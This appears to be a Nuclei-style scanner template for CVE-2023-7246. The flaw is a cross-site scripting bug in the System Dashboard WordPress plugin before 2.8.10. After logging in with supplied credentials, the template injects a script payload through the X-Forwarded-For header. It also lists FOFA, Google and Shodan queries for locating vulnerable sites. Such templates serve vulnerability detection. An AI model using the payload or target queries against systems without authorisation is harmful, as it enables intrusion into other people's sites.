CVE-2023-7246: System Dashboard < 2.8.10 - Cross-Site Scripting

id: CVE-2023-7246

info:
  name: System Dashboard < 2.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.
  impact: |
    Authenticated administrators in multisite WordPress configurations can inject malicious JavaScript through X-Forwarded-For header to execute attacks against other WordPress users.
  remediation: |
    Update the System Dashboard plugin to version 2.8.10 or later.
  reference:
    - https://wpscan.com/vulnerability/7413d5ec-10a7-4cb8-ac1c-4ef554751518/
    - https://research.cleantalk.org/cve-2023-7246/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7246
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-7246
    cwe-id: CWE-79
    epss-score: 0.00813
    epss-percentile: 0.55239
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/system-dashboard/"
    google-query: inurl:"/wp-content/plugins/system-dashboard/"
    shodan-query: html:"wp-content/plugins/system-dashboard/"
  tags: cve,cve2023,wp,wordpress,xss,wp-plugin,authenticated,system-dashboard,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/index.php?page=system-dashboard HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 0.0.0.0<script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Your IP</strong>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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